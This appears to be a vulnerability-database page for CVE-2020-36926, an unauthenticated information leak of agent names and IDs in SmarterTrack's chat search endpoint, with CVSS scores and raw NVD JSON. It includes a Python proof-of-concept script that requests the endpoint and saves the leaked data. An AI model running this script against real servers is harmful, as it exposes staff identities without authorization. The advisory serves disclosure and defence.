Security Vulnerability Report
中文
CVE-2020-36926 CVSS 7.5 HIGH

CVE-2020-36926

Published: 2026-01-16 00:16:19
Last Modified: 2026-02-09 15:12:37

Description

SmarterTrack 7922 contains an information disclosure vulnerability in the Chat Management search form that reveals agent identification details. Attackers can access the vulnerable /Management/Chat/frmChatSearch.aspx endpoint to retrieve agents' first and last names along with their unique identifiers.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:smartertools:smartertrack:10.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:smartertools:smartertrack:14.0:*:*:*:*:*:*:* - VULNERABLE
SmarterTrack <= 7922

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2020-36926 PoC - SmarterTrack Information Disclosure # Target: SmarterTrack <= 7922 # Endpoint: /Management/Chat/frmChatSearch.aspx def exploit_cve_2020_36926(target_url): """ Exploit for SmarterTrack Chat Management Information Disclosure This PoC demonstrates unauthorized access to agent information """ # Target endpoint that leaks agent information endpoint = "/Management/Chat/frmChatSearch.aspx" full_url = target_url.rstrip('/') + endpoint headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', } print(f"[*] Exploiting CVE-2020-36926") print(f"[*] Target: {full_url}") try: # Send unauthenticated request to vulnerable endpoint response = requests.get(full_url, headers=headers, timeout=30, verify=False) if response.status_code == 200: print(f"[+] Request successful - Status: {response.status_code}") print(f"[+] Agent information may be exposed in response") # Extract potential agent data from response if 'Agent' in response.text or 'agent' in response.text: print("[!] Agent identifiers found in response") # Save response for analysis with open('cve_2020_36926_response.html', 'w') as f: f.write(response.text) print("[*] Response saved to cve_2020_36926_response.html") return True else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com" # Replace with actual target exploit_cve_2020_36926(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36926", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:18.820", "lastModified": "2026-02-09T15:12:37.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SmarterTrack 7922 contains an information disclosure vulnerability in the Chat Management search form that reveals agent identification details. Attackers can access the vulnerable /Management/Chat/frmChatSearch.aspx endpoint to retrieve agents' first and last names along with their unique identifiers."}, {"lang": "es", "value": "SmarterTrack 7922 contiene una vulnerabilidad de revelación de información en el formulario de búsqueda de Gestión de Chat que revela detalles de identificación de agentes. Los atacantes pueden acceder al endpoint vulnerable /Management/Chat/frmChatSearch.aspx para recuperar los nombres y apellidos de los agentes junto con sus identificadores únicos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:smartertools:smartertrack:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "DE876385-2B46-4904-9A20-6C259C4D7DBE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:smartertools:smartertrack:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "1A9B207E-7632-4F57-9989-8241FCF01764"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50328", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.smartertools.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.smartertools.com/smartertrack", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/smartertools-smartertrack-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/50328", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}